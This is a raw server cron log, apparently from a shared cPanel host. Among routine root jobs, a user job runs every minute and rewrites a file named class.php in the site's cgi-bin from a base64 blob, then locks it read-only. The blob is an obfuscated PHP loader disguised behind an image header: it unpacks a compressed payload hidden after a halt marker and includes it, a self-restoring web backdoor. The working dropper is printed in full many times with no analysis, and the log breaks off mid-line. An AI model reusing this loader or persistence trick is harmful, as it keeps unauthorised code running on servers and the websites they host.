Apr  6 12:30:01 server CROND[27707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:30:01 server CROND[27705]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 12:30:01 server CROND[27704]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 12:31:01 server CROND[27816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:32:01 server CROND[27871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:33:01 server CROND[28023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:34:01 server CROND[28083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:35:01 server CROND[28150]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 12:35:01 server CROND[28151]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 12:35:01 server CROND[28153]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 12:35:01 server CROND[28154]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 12:35:01 server CROND[28155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:36:01 server CROND[28288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:37:01 server CROND[28443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:38:01 server CROND[28599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:39:01 server CROND[28652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:39:01 server CROND[28653]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 12:40:01 server CROND[28709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 12:40:01 server CROND[28710]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 12:40:01 server CROND[28711]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 12:40:01 server CROND[28712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:41:01 server CROND[28821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:42:01 server CROND[28887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:42:01 server CROND[28888]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 12:43:01 server CROND[29058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JH